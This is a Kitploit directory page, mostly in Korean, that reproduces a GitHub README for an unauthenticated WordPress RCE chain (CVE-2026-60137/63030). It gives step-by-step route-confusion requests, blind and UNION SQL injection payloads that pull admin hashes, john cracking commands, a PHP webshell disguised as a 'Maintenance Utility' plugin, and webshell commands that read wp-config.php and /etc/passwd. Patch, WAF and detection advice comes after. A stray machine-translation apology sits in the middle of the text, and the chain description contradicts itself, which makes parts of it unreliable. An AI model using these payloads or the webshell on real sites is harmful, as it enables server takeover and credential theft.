Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-60137_CVE-2026-63030 | Kitploit
도구/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
24일 전아직 검토되지 않음

CVE-2026-60137 + CVE-2026-63030 — WordPress 인증되지 않은 RCE

취약점: REST 배치 라우트 혼동 + WP_Query SQL 인젝션 → 완전한 RCE

CVSS v3.1: 10.0 / 10.0 — 치명적 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

영향받는 버전: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 패치된 버전: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## 빠른 시작

### 1. 취약한 실습 환경 구축

**요구 사항:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. 익스플로잇 실행```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. 예상 출력```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

이 저장소의 파일


상세 취약점 분석

CVE-2026-60137 (CVE-2026-63030와 연계)

취약점: 인증되지 않은 원격 코드 실행 — REST Batch 라우트 혼동 + WP_Query SQL 인젝션

CVSS v3.1: 10.0 / 10.0 — 치명적(Critical)

Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. 개요

CVE-2026-60137은 WordPress 코어에서 발견된 인증되지 않은 RCE 취약점입니다. 이 취약점은 두 개의 독립적인 버그를 결합하여 무접근(zero-access) 상태에서 서버 전체 장악까지 이어지는 완전한 익스플로잇 체인을 구성합니다:

CVE버그체인에서의 역할
CVE-2026-63030REST Batch 라우트 혼동인증 우회
CVE-2026-60137author__not_in SQL 인젝션임의 데이터베이스 읽기/쓰기

영향을 받는 버전:

  • 전체 RCE: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • SQLi만 해당(지원 플러그인 필요): 6.8.0 – 6.8.5
  • 패치됨: 6.9.5, 7.0.2, 7.1-beta2+

익스플로잇 조건:

  • REST API가 공개되어 있음 (WordPress 기본값)
  • 영구 객체 캐시 없음 (기본값은 없음)
  • 게시된 글 최소 1개 (기본 "Hello World"가 존재)
  • 계정이나 세션이 전혀 필요 없음

→ 대부분의 WordPress 설치 환경은 기본적으로 취약합니다.

2. 용어

REST Batch 엔드포인트 (/wp-json/batch/v1)

단일 HTTP 요청 내에서 여러 REST API 요청을 보낼 수 있습니다:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
각 하위 요청은 자체 핸들러와 연결되며, 각 핸들러에는 자체 **권한 콜백**이 있습니다.

### WP_Query — `author__not_in`

핵심 데이터베이스 쿼리 클래스입니다. `author__not_in` 매개변수는 정수 배열을 허용하여 다음 SQL 절을 생성합니다:```sql
AND post_author NOT IN (5, 12, 23)

각 요소는 absint()를 통과하여 정수 부분만 유지합니다.

wp_parse_url()

parse_url()의 래퍼입니다. 유효하지 않은 URL을 수신하면 WP_Error를 반환합니다.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. 근본 원인 — 버그 A: 배치 라우트 혼동 (CVE-2026-63030)

**파일:** `wp-includes/rest-api/class-wp-rest-server.php`

### 취약한 소스 코드:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

메커니즘:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### 왜 `"///"`가 버그를 유발하나요?

PHP `parse_url()`이 `"///"`를 만나면 **RFC 3986** — URL 구조에 따라 파싱을 시도합니다:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

"///"를 수신하면 다음과 같이 해석합니다:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
PHP 반환 결과:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress는 이를 wp_parse_url()로 감싸서 → 유효한 스킴, 유효한 호스트, 의미 있는 경로가 없음을 감지하고 → WP_Error를 반환합니다.

wp_parse_url("///")는 WP_Error를 반환합니다(URL 형식이 잘못됨). 이 오류로 인해 $matches를 구성하는 루프에서는 요청이 건너뛰어지지만, 디스패치 루프에서는 건너뛰어지지 않아 → 배열이 동기화되지 않습니다.

4. 근본 원인 — 버그 B: SQL 삽입 (CVE-2026-60137)

파일: wp-includes/class-wp-query.php

취약한 소스 코드:```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### 일반 (안전한) 경로:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

REST 컨트롤러 (class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### 라우트 혼동이 있는 경로 (취약):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

배치 비동기화가 발생하면 요청 매개변수는 REST 컨트롤러를 통과하지 않습니다 → 원시 문자열이 WP_Query로 바로 전달됩니다 → wp_parse_id_list()에 엣지 케이스 우회가 존재합니다 → SQL 인젝션.

페이로드:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
생성된 SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. 왜 두 버그를 연쇄 사용하는가?

시나리오결과
Bug A 단독 (Route Confusion)권한 우회 → 하지만 주입할 대상 없음
Bug B 단독 (SQLi)REST 컨트롤러가 항상 입력을 형변환함 → 주입 불가
Bug A + Bug B혼동이 컨트롤러를 우회 → 원시 문자열이 SQL로 전달됨 → RCE

개별적으로는 이 두 버그는 무해합니다. 오직 연쇄되었을 때만:

  • Bug A: 정화 계층(REST 컨트롤러)을 제거
  • Bug B: 정화가 우회되었기 때문에 SQL을 주입

6. 공격 체인 분석

1단계: Route Confusion```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0]: `parse_path_failed` (프라이머 트리거됨)

→ Response[1]: `rest_invalid_handler` (핸들러 디싱크 확인됨)

### **2단계: SQL 인젝션 — 데이터 추출**

**블라인드 부울 :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Compare TRUE vs FALSE 응답 → 각 문자를 이진 탐색합니다.

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
Fake post row containing credentials returned in the JSON response.

→ 결과: `wp_users`에서 `user_login` 및 `user_pass`(bcrypt 해시)를 성공적으로 추출했습니다.

### **Phase 3: 해시 크랙 → 관리자 로그인**

2단계에서 얻은 해시는 bcrypt 형식(`$wp$2y$10$...`)입니다. `$wp$` 접두사를 제거한 후 john/hashcat + 단어 목록으로 크랙 → 평문 비밀번호 획득 → `/wp-login.php`에서 로그인합니다.

**참고:** 인젝션 지점은 `SELECT`의 `WHERE` 절 내부에 있습니다. MySQL은 다중 문(multi-statement)을 비활성화하므로 → UNION은 읽기 전용(READ-only)이며 쓰기(WRITE)가 불가능합니다 → SQLi를 통해 새 관리자를 직접 INSERT할 수 없습니다. 유효한 세션을 얻으려면 해시를 크랙해야 합니다.

### Phase 4: 웹셸 업로드```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

5단계: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. 익스플로잇**

CVE-2026-60137을 익스플로잇하면 **제로 액세스**(계정 없음, 비밀번호 없음, 세션 없음) 상태에서 HTTP 요청만으로 **전체 서버 제어**에 이르게 됩니다.

**요구 사항:** 대상이 WordPress 6.9.0–6.9.4 또는 7.0.0–7.0.1을 실행 중이고 REST API가 공개되어 있어야 합니다(기본적으로 활성화됨). 로그인하거나 자격 증명을 알 필요가 없습니다.

**익스플로잇 체인은 5단계로 구성됩니다:**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 1단계: 라우트 혼동 확인

목표: 대상이 취약한지 확인 — 프라이머 경로 "///"를 보내면 핸들러 배열이 어긋납니다.

원리: 배치 엔드포인트는 1회의 HTTP 호출에서 여러 REST 요청을 보낼 수 있게 합니다. wp_parse_url("///")가 실패하면 WordPress는 $matches 배열을 구성할 때 해당 요청을 건너뛰지만 디스패치 중에는 건너뛰지 않습니다 → 핸들러가 어긋납니다 → 후속 요청이 잘못된 권한 콜백으로 실행됩니다 → 인증 우회.

요청 보내기:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
I apologize, but I received an empty input — the actual Markdown content for chunk 51 of 96 was not included in your message. Please provide the chunk text so I can translate it from English to Korean following all the specified rules.```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

읽는 방법:

images/image.png

응답코드

rest_invalid_handler가 의미하는 바를 우리는 관찰합니다: "WordPress는 핸들러가 요청과 일치하지 않음을 인지한다"

→ 즉, $matches 배열은 이미 비동기화(DESYNC)되어 있으며, 프라이머 "///"가 작동했고, 이 비동기화를 악용하여 요청이 인증을 요구하지 않는 다른 경로(route)의 권한 콜백으로 실행되게 할 수 있습니다. → 인증 우회 가능

rest_invalid_handler가 보이면 → 버그 A 확인.

7.2 2단계: SQL 인젝션 확인

1단계 — TRUE vs FALSE

TRUE (OR 1=1):

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

X-WP-Total의 차이 → SQLi 확인됨.

2단계 — 관리자 사용자 이름 추출(Blind Boolean)

첫 번째 문자:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → 따라서 첫 번째 문자는 `'a'`입니다.

순차적으로 열거하면 `user_login` = **"admin"** 을 얻습니다.

#### **Step 3 — 비밀번호 해시 추출**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

이진 검색(Binary Search)을 사용하여 user_pass의 각 문자에 대한 ASCII 코드를 확인하십시오:``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
두 개의 상반된 응답을 통해 첫 번째 문자의 ASCII가 **(30, 40]** 범위 내에 속함을 확인합니다. 계속해서 범위를 좁혀 나갑니다:```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

각 위치에 대해 이진 탐색을 계속 수행 → 해시 접두사 문자열 $wp$를 얻습니다:

계속해서 BLIND SQL을 사용하여 문자 하나씩 알아냅니다:

→ 전체 해시: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 3단계: 관리자 로그인

2단계 이후에는 다음 정보가 있습니다:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

해시 크랙

WordPress 해시는 bcrypt 형식($2y$10$)을 사용하며, 비용 계수는 10입니다. 크랙하기 전에 $wp$ 접두사를 제거해야 합니다. hashcat/john은 순수한 bcrypt만 허용하기 때문입니다:```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**결과:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

비밀번호 **`admin123`**은 워드리스트에 있으므로 → john이 즉시 성공적으로 크랙한다.

→ `/wp-login.php`에서 `admin:admin123`으로 성공적으로 로그인했다.

### **7.4 4단계: 웹셸 업로드**

이 시점에서 우리는 유효한 관리자 세션을 보유하고 있다. 다음 목표는 자격 증명과 무관하게 접근을 유지하기 위해 서버에 **백도어를 심는 것**이다.

WordPress는 관리자가 ZIP 형식의 플러그인을 업로드하는 것을 허용한다 — 이는 합법적인 기능이며, 우리는 이를 악용할 것이다.

#### **웹셸 생성**

먼저 시스템 명령을 실행하는 PHP 파일이 필요하다. 이 파일은 WordPress가 수락할 수 있도록 가짜 플러그인으로 패키징된다:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

secret123 토큰은 비밀번호 역할을 하여 다른 사람이 실수로 셸을 트리거하는 것을 방지합니다.```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

성공적으로 생성되었습니다.

#### **WordPress에 업로드**

`shell.zip`을 성공적으로 생성한 후, 해당 zip 파일을 플러그인 섹션에 업로드하여 트리거합니다.

WordPress는 파일을 추출하여 다음 위치에 배치합니다:```
/var/www/html/wp-content/plugins/shell/shell.php

플러그인이 **"Maintenance Utility"**라는 이름으로 목록에 나타나며 상태는 Active입니다 → 이제 웹셸이 HTTP를 통해 트리거될 준비가 되었습니다.

images/image.png

UPLOAD 및 ACTIVE가 성공했습니다.

7.5 5단계: RCE

따라서 셸이 서버에 있습니다. 호출하여 셸을 실행합니다.

RCE 확인:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data 사용자로 실행 중 — 웹 서버의 사용자입니다. 다음으로 영향 범위를 확대합니다:

WordPress 구성 파일 읽기:```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — 웹쉘을 통해 `wp-config.php` 파일을 읽는 명령을 실행하여 모든 WordPress 비밀 키(`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...)와 데이터베이스 자격 증명을 노출합니다. 이는 WordPress 설치에서 가장 민감한 정보입니다.

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* 응답은 `wp-config.php`의 내용을 반환하며, 여기에는 `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST`가 포함됩니다 — WordPress를 거치지 않고 데이터베이스 서버에 직접 접근할 수 있을 만큼 충분합니다.

#### **모든 시스템 사용자 읽기:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ OS 수준 액세스를 확인하며, 더 이상 WordPress 범위로 제한되지 않습니다.

이 시점에서 익스플로잇 체인이 완료됩니다:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 요약**

| **#** | **단계** | **메서드** | **경로** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | 사용자 이름 추출 | POST | `/?rest_route=/batch/v1` |
| 4 | 해시 추출 | POST | `/?rest_route=/batch/v1` |
| 5 | 관리자 로그인 | POST | `/wp-login.php` |
| 6 | nonce 가져오기 | GET | `/wp-admin/plugin-install.php` |
| 7 | 셸 업로드 | POST | `/wp-admin/update.php` |
| 8 | 활성화 | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**요청 9개. 초기 자격 증명 없음. 로그인 페이지에서 → 완전한 서버 제어까지.**

## 8. CVSS 세부 분석

| 메트릭 | 값 | 이유 |
| --- | --- | --- |
| 공격 경로 | 네트워크 | HTTP를 통한 원격 |
| 공격 복잡도 | 낮음 | 결정적이며 타이밍/레이스 조건 불필요 |
| 필요한 권한 | 없음 | 완전히 인증되지 않음 |
| 사용자 상호 작용 | 없음 | 피해자 조치 불필요 |
| 범위 | 변경됨 | WP → OS 수준 (www-data) |
| 기밀성 | 높음 | 전체 DB 읽기 |
| 무결성 | 높음 | 임의 DB 쓰기, 파일 업로드 |
| 가용성 | 높음 | DROP 테이블, 랜섬웨어 |

## 9. 영향

### 기술적

| 계층 | 영향 |
| --- | --- |
| 데이터베이스 | 모든 항목에 대한 읽기/쓰기 액세스: wp_users, wp_options, wp_posts |
| 애플리케이션 | 관리자 생성, 콘텐츠 수정, 백도어 설치 |
| 서버 | www-data 권한의 RCE, wp-config.php, /etc/passwd 읽기 |
| 네트워크 | DB 자격 증명을 통한 내부 서비스로의 피벗 |

### 비즈니스

| 시나리오 | 결과 |
| --- | --- |
| 전자상거래 | PII 유출, 결제 키 탈취, 스키머 주입 |
| 기업 | 웹사이트 변조, SEO 스팸, 악성코드 유포 |
| 멀티사이트 | 1회 익스플로잇 → 전체 네트워크 손상 |
| SaaS (WP 마케팅) | 환경 변수 추출 → 프로덕션으로 피벗 |

### 위험에 노출된 데이터

- `wp_users`: 사용자 이름, 이메일, 비밀번호 해시
- `wp_usermeta`: PII(이름, 전화번호, 주소), session_tokens
- `wp_options`: DB 자격 증명, SMTP 자격 증명, 결제 API 키, WordPress salts
- `wp-config.php`: 데이터베이스 호스트/사용자/비밀번호, 비밀 키
- `/proc/self/environ`: 환경 변수

## 10. 방어 및 대응

### 10.1 패치 (철저)

| 현재 버전 | 업그레이드 대상 |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 코드 수정

**버그 A — 라우트 혼동:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — SQL Injection:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 임시 완화 조치

**1. 배치 엔드포인트 비활성화(가장 효과적):**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Redis/Memcached 활성화:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ UNION injection does not reflect (cache returns stale data).  

**3. WAF 규칙:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 탐지

로그 패턴:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**IOC 확인:**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
도구 다운로드
파일설명
README.md전체 취약점 분석 및 익스플로잇 보고서
exploit.py자동화된 익스플로잇 스크립트 (무접근(zero-access) → RCE 단일 명령)
docker-compose.yml취약한 WordPress 실습 환경
chain-rce.md자동화된 RCE 체인 문서
images/수동 익스플로잇 과정의 스크린샷
의미
[0]parse_path_failed프라이머 작동 — wp_parse_url("///") 실패
[1]rest_invalid_handlerDESYNC! 요청이 잘못된 핸들러에 수신됨 → 인증 우회
위치ASCII문자참고
136$해시 접두사
2119w
3112p
436$→ $wp$ = bcrypt 변형
5-20...2y$10$aJgATdlhfI비용 계수 + 솔트